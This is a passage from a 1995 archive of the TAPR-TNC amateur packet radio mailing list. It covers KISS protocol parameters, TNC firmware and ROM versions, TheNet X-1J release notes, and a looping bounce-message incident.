           http://www.tapr.org/tapr/html/pkthome.html



73 Howie N2WX
```

19. BLP application software ?

```
From: PU1N-OKMT@j.asahi-net.or.jp
Date: 30 Jul 95 12:22:06 JST
To: tapr-tnc@tapr.org
Message-ID: <301AFADE.2314.001@j.asahi-net.or.jp>
Rendered body type: text/plain
```

```
Hello
I am looking for application software for BLP(binary link protocol).
for example: PBBS software ,terminal software, etc...
If you have some information about it, please tell me.
already,I got HOSTMODE.EXE from tapr-library.

Norimasa Okamoto JN2LHU
```

August 1995

Original source file: tapr-tnc.9508
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9508

1. KISS parameter number

```
From: Sivula Timo <Sivula@ncsmsg01es.ntc.nokia.com>
Date: Tue, 01 Aug 95 16:24:00 eet
To: "'TAPR-TNC'" <tapr-tnc@tapr.org>
Message-ID: <301E3A37@ntcite01es.ntc.nokia.com>
Rendered body type: text/plain
```

Hello everybody,

I would need a complete list of the KISSparameters. Especially I am interested in
the parameter number of DTIME/DWAIT/T2 that adds a slottime before every transmission.
There is a new DSP modem under construction and this parameter is needed there.

I checked the TAPR WWW page but did not find any info there. If somebody has a list
of these parameters it would be more than appreciated!

73, Timo OH6KK/OH2LVZ, Timo.Sivula@ntc.nokia.com

---

2. Re: [TAPR-TNC:42] KISS parameter number

```
From: "Bob Nielsen" <nielsen@primenet.com>
Date: Tue, 1 Aug 1995 12:08:53 +0700
To: Sivula Timo <Sivula@ncsmsg01es.ntc.nokia.com>, tapr-tnc@tapr.org
Message-ID: <199508011909.MAA08384@mailhost.primenet.com>
Rendered body type: text/plain
```

> Hello everybody,
>
> I would need a complete list of the KISSparameters. Especially I am
> interested in
> the parameter number of DTIME/DWAIT/T2 that adds a slottime before every
> transmission.
> There is a new DSP modem under construction and this parameter is needed
> there.
>
> I checked the TAPR WWW page but did not find any info there. If somebody has
> a list
> of these parameters it would be more than appreciated!
>
> 73, Timo OH6KK/OH2LVZ, Timo.Sivula@ntc.nokia.com

>From the Mike Chepponis/Phil Karn paper:

Command	Function	Comments
0	Data frame	The rest of the frame is data to be sent on the HDLC channel.
1	TXDELAY	The next byte is the transmitter keyup delay in 10 ms units. The default start-up value is 50 (i.e.,500ms).
2	P	The next byte is the persistence parameter, p, scaled to the range 0 - 255 with the following formula: P = p * 256 - 1 The default value is P = 63 (i.e., p = 0.25).
3	SlotTime	The next byte is the slot interval in 10 ms units. The default is 10 (i.e., 100ms).
4	TXtail	The next byte is the time to hold up the TX after the FCS has been sent, in 10 ms units. This command is obsolete, and is included here only for compatibility with some existing implementations.
5	FullDuplex	The next byte is 0 for half duplex, nonzero for full duplex. The default is 0

```
                                (i.e., half duplex).

            6        SetHardware  Specific for each TNC.  In the TNC-1, this
                                  command sets the modem speed.  Other
                                  implementations may use this command
                                  for other hardware-specific functions.

            FF       Return       Exit KISS and return control to a higher-
                                  level program.  This is useful only
                                  when KISS is incorporated into the TNC
                                  along with other applications.
--------
Bob Nielsen                    Internet:nielsen@primenet.com
Tucson, AZ                     AMPRnet: w6swe@w6swe.ampr.org
                               AX.25: w6swe@wb7tls.az.usa.noam
```

3. T2/Dwait/Dtime

From: Sivula Timo <Sivula@ncsmsg01es.ntc.nokia.com>
Date: Wed, 02 Aug 95 09:25:00 eet
To: "'HFSIG'" <hfsig@tapr.org>, "'TAPR-TNC'" <tapr-tnc@tapr.org>
Message-ID: <3020A5AE@ntcite01es.ntc.nokia.com>
Rendered body type: text/plain

Hello,

I checked some documents out and found that Dtime and Dwait are one
parameter and T2 is another. T2 simply seems to be the parameter which is
called Resptime in for instance the G8BPQ manual.

Dwait and Dtime is according to the TheFirmware 2.6 manual a parameter that
puts a waiting time between the moment when the transmission is intended to
start to the moment when it is really starting. This is the parameter for
which I would need the KISS parameter code.

According to the TF manual dwait/dtime is using the value of one timslot of
the persistence algorithm. Thus the modification consist of simply adding
one timeslot before every transmisson. I have seen this time beeing
independently adjustable in some applications, so I would like to be sure
about how the parameter really works and to get the KISS code for it, if
there is one.

Timo

4. Help.

From: Siddharth Bhatachara <sid@xm.doe.ernet.in>
Date: 29 Jul 95 03:25:39 IST (+0530)
To: tapr-tnc@tapr.org
Message-ID: <A.809371481@xm.doe.ernet.in>
Rendered body type: text/plain

Dear Friends,

I urgently need some info pertaining to the XR2206 as the
AFSK generator used with the HF and VHF tncs. If any body
can give me the technical details and the application note
for this chip it will be of great help to me. Alternatively
I would also appreciate the tnc2 schematic which possibly
uses this chip. Please let me know the ftp site where from
I can down load the required info.

This is my first posting to this mailing list. I am not
too sure about the rules and regulations for posting. But
I just got stuck up because of want of this info. So
please help me.

73s,

Sid.

```
-----------------------------------------------------------------
Siddhartha Bhattacharjee           Internet : sid@doe.ernet.in
Senior Scientific Officer,         Amateur Packet Radio :
MAEP, C & I Division,                   vu2sid@vu2dpg.del.ind.as
Room No. 3091,Department of Electronics,
C.G.O. Complex, New Delhi          Phone : 4363102 Ext.3491/4363112
-----------------------------------------------------------------
```

5. KISS Info received, Thank you.

From: Sivula Timo <Sivula@ncsmsg01es.ntc.nokia.com>
Date: Fri, 04 Aug 95 10:05:00 eet
To: "'HFSIG'" <hfsig@tapr.org>, "'TAPR-TNC'" <tapr-tnc@tapr.org>
Message-ID: <3021D6E2@ntcite01es.ntc.nokia.com>
Rendered body type: text/plain

Hello everybody!

I have received awhole bunch of information concerning KISS. Thank you very
much
for putting time on this! We have now made the modification to Leonid and
Beta-testing
is going on.

Thus there is no need for more replys.

Thank you very much, all the help from everyone was very much appreciated.

Timo OH6KK/OH2LVZ

6. Periodic info message

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 30 Aug 1995 16:41:19 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.950830164100.276B-100000@n2wx.ampr.org>
Rendered body type: text/plain

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 29 Jul 95

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

Statement of Purpose

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs. It is not moderated at this
time; list subscribers are requested to remain on topic and use discretion
to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"
Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine
TAPR SIGs as well as this one. Initial crossposting is not necessarily a
bad idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The moderator reserves the right to deal with flames and
off-topic posts from a stance somewhere between complete arbitrariness and
Solomonesque. Hopefully more of the latter than the former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain the answer to your questions. You may wish to skim these
resources before to posting to the list:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                           and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

--
Howard Goldstein, N2WX   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

7. MFJ mods

From: "Stephen D. Goff" <102413.410@compuserve.com>
Date: 31 Aug 95 16:41:24 EDT
To: TAPR-TNC SIG <tapr-tnc@tapr.org>
Message-ID: <950831204124_102413.410_BHA80-2@CompuServe.COM>
Rendered body type: text/plain

I currently run a 3 port X1J stack with JNOS 1.10k, which seems to be a little
sluggish thru the stack at times. Is there a definitive source for modifications
to the 1270 series?

Thanks, Steve

8. Re: [TAPR-TNC:48] MFJ mods

From: Mike White <mpw@chensys.com>
Date: Thu, 31 Aug 1995 18:25:09 -0500
To: tapr-tnc@tapr.org
Message-ID: <9508312315.AA08240@puma>
Rendered body type: text/plain

At 03:45 PM 8/31/95 -0500, you wrote:
>I currently run a 3 port X1J stack with JNOS 1.10k, which seems to be a little
>sluggish thru the stack at times. Is there a definitive source for
modifications
>to the 1270 series?
Hey, this sounds cool. Explain the X1J stack, please. I'm going to be
converting to JNOS soon, and I recognize that I will soon run out of com
ports (440Mhz, 2m, 6m + slip - no room for expanion.)

Thanks-
 -Mike
--
Mike White   Chen Systems Corporation
N9UXC   voice:715/833-7067
                fax :715/833-7096

September 1995

Original source file: tapr-tnc.9509
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9509

1. Need help ?

```
From: Greg Jones <gjones@tenet.edu>
Date: Fri, 22 Sep 1995 04:05:33 -0500 (CDT)
To: tapr-tnc@tapr.org (tapr-tnc)
Message-ID: <199509220905.EAA26087@Leslie-Francis.tenet.edu>
Rendered body type: text/plain
```

TAPR has a web page that needs to be filled out with some information.

We have a section on TNC firmware, that needs some text.

Anyone interested in writing up short blurbs regarding:
        WA8DED Firmware
        KISS Firmware

TAPR gets a lot of questions from people who want things explained beyond
the technical blurb on what it is.

Maybe someone on the group can help.

Cheers - Greg

---

2. (no subject)

```
From: Allan Moeller <AM@infocom.dk>
Date: Wed, 27 Sep 95 16:05:00 PDT
To: "'smtp:tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <3069D8C7@infocom.infocom>
Rendered body type: text/plain
```

subscribe

---

3. Periodic posting

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 27 Sep 1995 12:24:33 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.950927122356.118B-100000@n2wx.ampr.org>
Rendered body type: text/plain
```

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 30 Aug 95

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

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```
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At times, you may find your post is relevant to one of the other fine
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Spirited, lively discussion is invited but flames will be promptly
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Solomonesque.  Hopefully more of the latter than the former.

---------------
Other resources
---------------

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resources before to posting to the list:

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   WWW to  http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html



73 Howie N2WX
```

October 1995

Original source file: tapr-tnc.9510
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9510

1. Where Is State 2.00?

From: Orville Beach <Orv@micom.com>
Date: Tue, 03 Oct 1995 14:57:20 -0800
To: tapr-tnc@tapr.org
Message-ID: <s0714f98.078@micom.com>
Rendered body type: text/plain

Where on the internet can I find the TNC State 2.00
EPROM image?

Thanks - Orv - wb6wey
orv@micom.com

2. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 17:25:06
To: tapr-tnc@tapr.org
Message-ID: <199510032228.RAA06593@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be
delivered. There is no person with this name at The Nashville Exchange BBS
615-383-0727. Typically, this is the result of a slight misspelling or the
omission of a period between the first and last names. Your message was
delivered to the mail clerk, Ben Cunningham, since your intended recipient was
not recognized.

3. Re: [TAPR-TNC:53] Where Is State 2.00?

From: Bob Nielsen <nielsen@primenet.com>
Date: Tue, 3 Oct 1995 18:41:07 -0700 (MST)
To: tapr-tnc@tapr.org
Cc: orv@micom.com
Message-ID: <Pine.LNX.3.91.951003183857.143B-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Tue, 3 Oct 1995, Orville Beach wrote:

> Where on the internet can I find the TNC State 2.00
> EPROM image?
>
> Thanks - Orv - wb6wey
> orv@micom.com

I'm not sure which version it is, but there is an image available at
ftp.tapr.org in /tapr/software_lib/tnc/eproms.exe, a self-extracting file
containing 1.1.8a, KISS and state machine images.

Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
http://www.primenet.com/~nielsen   AX.25: w6swe@wb7tls.az.usa.noam

4. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 20:40:07
To: tapr-tnc@tapr.org
Message-ID: <199510040153.UAA12219@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be
delivered. There is no person with this name at The Nashville Exchange BBS
615-383-0727. Typically, this is the result of a slight misspelling or the
omission of a period between the first and last names. Your message was
delivered to the mail clerk, Ben Cunningham, since your intended recipient was
not recognized.

5. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 21:05:10

To: tapr-tnc@tapr.org
Message-ID: <199510040217.VAA12680@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

6. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 21:40:12
To: tapr-tnc@tapr.org
Message-ID: <199510040245.VAA13386@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

7. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 21:50:11
To: tapr-tnc@tapr.org
Message-ID: <199510040257.VAA13742@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

8. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 22:20:03
To: tapr-tnc@tapr.org
Message-ID: <199510040322.WAA14328@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

9. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 22:30:03
To: tapr-tnc@tapr.org
Message-ID: <199510040332.WAA14382@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

10. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 22:45:09
To: tapr-tnc@tapr.org
Message-ID: <199510040352.WAA14897@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was

not recognized.

11. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 23:00:03
To: tapr-tnc@tapr.org
Message-ID: <199510040416.XAA15377@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

12. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 23:15:02
To: tapr-tnc@tapr.org
Message-ID: <199510040417.XAA15390@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

13. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 23:40:05
To: tapr-tnc@tapr.org
Message-ID: <199510040442.XAA16137@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

14. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Tue, 3 Oct 95 23:50:04
To: tapr-tnc@tapr.org
Message-ID: <199510040458.XAA16792@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

15. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Wed, 4 Oct 95 00:05:02
To: tapr-tnc@tapr.org
Message-ID: <199510040507.AAA17571@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be delivered. There is no person with this name at The Nashville Exchange BBS 615-383-0727. Typically, this is the result of a slight misspelling or the omission of a period between the first and last names. Your message was delivered to the mail clerk, Ben Cunningham, since your intended recipient was not recognized.

16. Dumbo in nashville

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 4 Oct 1995 01:21:43 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951004011924.4759C-100000@n2wx.ampr.org>

Rendered body type: text/plain

Apologies for the looping with the system in nashville. The dweep
postmaster@nashville.com uses a non-standard bounce message that causes,
what else, a loop. If I can fix it with list owner commands the problem
will be solved before you all abandon ship.

Feel free to vent your frustation at the mail klerk mentioned in the
looping message :-)

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

17. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Wed, 4 Oct 95 00:35:04
To: tapr-tnc@tapr.org
Message-ID: <199510040537.AAA18957@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be
delivered. There is no person with this name at The Nashville Exchange BBS
615-383-0727. Typically, this is the result of a slight misspelling or the
omission of a period between the first and last names. Your message was
delivered to the mail clerk, Ben Cunningham, since your intended recipient was
not recognized.

18. Unrecognized recipient in message

From: tsxbbs.smtp@nashville.com
Date: Wed, 4 Oct 95 00:35:06
To: tapr-tnc@tapr.org
Message-ID: <199510040537.AAA18971@sys1.tapr.org>
Rendered body type: text/plain

You recently sent a message to e.johnson@nashville.com which could not be
delivered. There is no person with this name at The Nashville Exchange BBS
615-383-0727. Typically, this is the result of a slight misspelling or the
omission of a period between the first and last names. Your message was
delivered to the mail clerk, Ben Cunningham, since your intended recipient was
not recognized.

19. Re: [TAPR-TNC:67] Unrecognized recipient in message

From: Stephan Woytowicz <mietek@castles.com>
Date: Wed, 4 Oct 1995 01:25:00 -0700
To: tapr-tnc@tapr.org
Message-ID: <9510040825.AA23116@castles.com>
Rendered body type: text/plain

At 12:18 AM 10/4/95 -0500, you wrote:
>You recently sent a message to e.johnson@nashville.com which could not be
>delivered. There is no person with this name at The Nashville Exchange BBS
>615-383-0727. Typically, this is the result of a slight misspelling or the
>omission of a period between the first and last names. Your message was
>delivered to the mail clerk, Ben Cunningham, since your intended recipient was
>not recognized.
>
>

20. Re: [TAPR-TNC:70] Unrecognized recipient in message

From: Ben Sager <bsager@interserf.net>
Date: Wed, 04 Oct 1995 06:29:03 -0400
To: tapr-tnc@tapr.org
Message-ID: <199510041038.GAA08862@ns.interserf.net>
Rendered body type: text/plain

hello gentlemen,
i joined this user group on sunday and so far i have received nothing but 70
msgs telling me that the msg to e.johnson@nashville.com could not be
delivered.....   my question is, is this what i can expect from this user
group or are we having a little system problem somewhere???

Regards
Ben

At 12:51 AM 10/4/95 -0500, you wrote:
>You recently sent a message to e.johnson@nashville.com which could not be
>delivered. There is no person with this name at The Nashville Exchange BBS
>615-383-0727. Typically, this is the result of a slight misspelling or the

>omission of a period between the first and last names. Your message was
>delivered to the mail clerk, Ben Cunningham, since your intended recipient was
>not recognized.
>
>

21. rubber mail

From: "Mark L. Hammond" <hammond@camel.campbell.edu>
Date: Wed, 04 Oct 1995 12:20:48 +0000
To: tapr-tnc@tapr.org
Message-ID: <199510041523.LAA28641@camel.campbell.edu>
Rendered body type: text/plain

HI Ben,

I can assure you as an avid reader of this group that the fault is NOT our
system. The nashville bozos are looping the messages.

Hang in there...first time I have seen this on any of the 5 or so TAPR lists
I subscribe to.

At 05:39 10/4/95 -0500, you wrote:
>hello gentlemen,
>i joined this user group on sunday and so far i have received nothing but 70
>msgs telling me that the msg to e.johnson@nashville.com could not be
>delivered.....   my question is, is this what i can expect from this user
>group or are we having a little system problem somewhere???
>
>Regards
>Ben
>
>
>At 12:51 AM 10/4/95 -0500, you wrote:
>>You recently sent a message to e.johnson@nashville.com which could not be
>>delivered. There is no person with this name at The Nashville Exchange BBS
>>615-383-0727. Typically, this is the result of a slight misspelling or the
>>omission of a period between the first and last names. Your message was
>>delivered to the mail clerk, Ben Cunningham, since your intended recipient was
>>not recognized.
>>
>>
>
>
>

Mark L. Hammond   [KC4EBR]

22. TNC ROM version ?

From: "Victor Voronkov" <VICTOR@ibpm.serpukhov.su>
Date: Wed, 4 Oct 1995 15:59:08 GMT+4
To: tapr-tnc@tapr.org
Message-ID: <270FE7F10FD@ibpm.serpukhov.su>
Rendered body type: text/plain

Hello!

I'am looking for brief description of various ROM version for TNC -
tapr, wa8ded, tiny, tf, etc with main difference.

I can be able to load one from two programme in my TNC. There's switch
at 27C512 EPROM for choice low or high half of code in ROM.

I'll have one programme for KISS mode for use with IP and other for
usual ax.25 mode, with good PMS.

Any comment? 73! de RX3DIN   Victor
---
http://www.stack.serpukhov.su/~victor/hamradio/

23. RE: [TAPR-TNC:74] TNC ROM version ?

From: Dave Roberts <dave.roberts@bt-sys.bt.co.uk>
Date: Wed, 04 Oct 95 15:08:00 PDT
To: tapr-tnc <tapr-tnc@tapr.org>
Message-ID: <30730690@harrypo.bt-sys.bt.co.uk>
Rendered body type: text/plain

A ROM image for TNC2s.
This is the release note for the latest version of TheNet
from a few months ago.

It is a derivitive of TheNet 1.01 with IP router and other bits...

73's

Dave Roberts
G8KBB
==========

INTRODUCING TheNet X-1J Release 4

This version is a modification to TheNet X-1J release 2 and
includes a small number of changes that I had promised.
Specifically the changes from TheNet X-1J release 2 are :

  The buffer loss problem has been fixed
  The ARP table is automatically updated from ARP requests & replies
  The node maintains a second heard list of L3 Netrom nodes that gateway
through the node
  The RxDeviation & Smeter ADC channels may also be used as arbitrary inputs
instead
  A bug in the copying of digipeated frames in KISS mode 2 has been
corrected
  A defensive port flush function has been added
  Link list integrity checking has been extended to check reverse links
  A bug in handling of BBSALIAS, HOSTALIAS and DXCALIAS has been fixed
  The USER list shows circuit choke status for patchcord connections.
  BBS, HOST and DXCLUSTER are cleared properly on cold start
  The ADC* text messages may be up to 12 characters long
  The ACL checks the end user call as well as the node call in accepting
connections.
  A default IP route entry may be made.
  Lines that start with a '#' are ignored by the switch.

The ARP table is managed by sending ARP requests and by
monitoring ARP messages received. The BBSALIAS etc commands
were compromised by the inclusion of the TexNet interface and
have been corrected.

The L3MHeard command controls a second heard list. It shows
each station that passes Net/Rom frames to the node for
gatewaying. Each entry shows the time since last gateway,
port, frames heard and the callsign of the last destination
node that the sending node was sending to.

The USER command has been enhanced to show, for each
patchcord entry, whenever one or other circuit has been
choked.

If one or other of the ADC channels used for measuring RX
Deviation or signal strength are not required for those
purposes, they may be used for other purposes in a manner
similar to the other 2 ADC channels.

A menu driven windowing patch utility with context sensitive
help is included.
Utilities for printing passwords in a sysop-friendly manner
and a utility for changing the help text attributable to John
Bednar WB3ESS are also provided. Modifications for the
MFJ1278C by WB0YRQ are included in the bankswitching details.
A utility to manage the node configuration by N8PTT is
included.

The previous releases introduced the following :

     An S-meter function in the heard list
     A Voltmeter function for the other two ADC channels
     Support for the TexNet '*** LINKED to' syntax
     A bug fix to the BBS, ALIAS and DXCLUSTER commands
     The ability to change the user's command prompt list
     The ACL function has had a feature added to speed it up
    A complete IP router,
    The Receive Deviation meter,
    Control of 'Slime Trails',
    Information text messages 160 characters long,
    Multiple line INFO, CTEXT and BTEXT messages,

Nodes broadcasts occur 60 seconds after power up,
Optional reconnect to the node after remote disconnect,
PARMS, MODE etc may be managed by offset & value,
Digipeat uplink & downlinks may be selectively enabled,
Level 4 retries (min) is now 1,
An MTU command allows MTU settings to be changed for IP use,
Node alias handling is optionally case sensitive,
TALK will optionally pass 8 bit data,
The RESET bug in versions prior to TheNet X-1J has been cured,
The ability to remotely set the node's alias,
The ability to listen for 3 extra aliases & invoke BBS etc,
Selective node broadcast control for 'hash' nodes,
A UI command to send arbitrary UI commands,
Access control list capabilities,
Multi-user conferencing (the 'TALK' command),
A CWID keyer,
Better SYSOP authentication,
MHeard list showing callsigns, packets heard & time since last heard,
MHeard list shows whether a station is a node and / or TCP/IP station,
A Closedown command to remotely shut the node down,
A DXCluster command that operates like the BBS & Host commands,
A Btext command to set the node's beacon text message,
A Ctext command to set an optional alias connect text message,
The ability to enable or disable any command,
Improved command prompting with only valid commands shown,
Routes show optionally as alias:callsign or callsign alone,
Additional control over system reset,
KISS as an alternative to the crosslink protocol,
Hardware handshake controlled host mode operation,
MODE command for configuring additional parameters,
BBS command to auto connect to a remote BBS,
HOST command to auto connect to another BBS or Host,
BYE or QUIT commands to disconnect,
STATS command to display internal statistics,
MANAGER command for system manager access,
AUDIT command to set system audit levels,
Bug fixes (e.g. info messages too long crashing the node),
Changes to the NODES command,
An improved nodes broadcast algorithm for the crosslink port,
Split port nodes broadcast intervals,
Ability to enable & disable nodes broadcasts selectively on each port,
CQ apologises nicely if disabled,
Most Escape commands have been replaced with MODE parameters,
Beacon messages may be digi'd,
CALIBRATE command for remote checking of Tx deviation,
LINKS command to show current level 2 links,
Configuration of the beacon period,
Auto routing of 'connect' to either BBS, DXCluster or HOST,
Remote dump of entire neighbour lists for all nodes.

Dave G8KBB @ GB7MXM
QTHR

> From: tapr-tnc
> To: tapr-tnc
> Subject: [TAPR-TNC:74] TNC ROM version ?
> Date: 04 October 1995 08:08
>
> Hello!
>
> I'am looking for brief description of various ROM version for TNC -
> tapr, wa8ded, tiny, tf, etc with main difference.
>
> I can be able to load one from two programme in my TNC. There's switch
> at 27C512 EPROM for choice low or high half of code in ROM.
>
> I'll have one programme for KISS mode for use with IP and other for
> usual ax.25 mode, with good PMS.
>
> Any comment? 73! de RX3DIN   Victor
> ---
> http://www.stack.serpukhov.su/~victor/hamradio/
>

24. Kaypro

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 7 Oct 1995 12:49:42 -0400 (EDT)

To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951007124845.428A-100000@n2wx.ampr.org>
Rendered body type: text/plain

NOTE : set your reply to crowder@wsu.edu (not a tapr-tnc list subscriber)
Name: Wayne A. Crowder

I'm asking this for a friend. Are there any programs someone has that are
still available for the old Kaypro II machines? I remember something, I
think, from a few years ago in "Profiles" magazine, but couldn't find it.

25. UNSUBSCRIBE

From: Slipstreem@aol.com
Date: Fri, 13 Oct 1995 15:04:55 -0400
To: tapr-tnc@tapr.org
Message-ID: <951013150454_73765204@emout05.mail.aol.com>
Rendered body type: text/plain

Somebody PLEASE unsubscribe me from this thing. It keeps sending it back to
me!!!

26. Re: [NETSIG:2050] Re: TNC-based compression

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 19 Oct 1995 11:17:37 -0400 (EDT)
To: netsig@tapr.org, tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951019110824.201B-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Thu, 19 Oct 1995, Brian A. Lantz wrote in netsig:

> On Tue, 17 Oct 1995, Charles Brabham wrote:
>
> > This reminded me of some discussion of TNC-based data compression, much like
> > the landline modems currently incorporate.
> >
> > Is anyone currently working on this idea? If not, WHY NOT?
>
> For the average TNC, the answer is definitely no. The problem is that
> most all compression schemes require 8-16K for each compression stream
> for use in handling the tokenization and compression, and the TNC2 only
> HAS 32K for EVERYTHING.

Actually it wouldn't be too demanding on memory or horsepower to throw in
simple huffman coding similar to that used in pactor. The code to do it
in TNC-2 exists but wasn't emplaced because of unresolved
capability-handshaking issues in L2V2 and the nearly sacreligious
difficulty of fitting V3 to the current incarnation of code.

Suggestions on "hacks" to provide for downward compatible capability
handshaking short of a fullblown V3 implementation are invited. Maybe
some silly id in a digipeater field?

[please crosspost followups to tapr-tnc@tapr.org]

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

27. TNC clock ?

From: "Victor Voronkov" <VICTOR@ibpm.serpukhov.su>
Date: Tue, 24 Oct 1995 15:00:43 GMT+4
To: tapr-tnc@tapr.org
Message-ID: <450572B17F5@ibpm.serpukhov.su>
Rendered body type: text/plain

Hello,

in "equipment options by VE3JF" I read:

"In fact, many people have reported results with TNCs that were much less
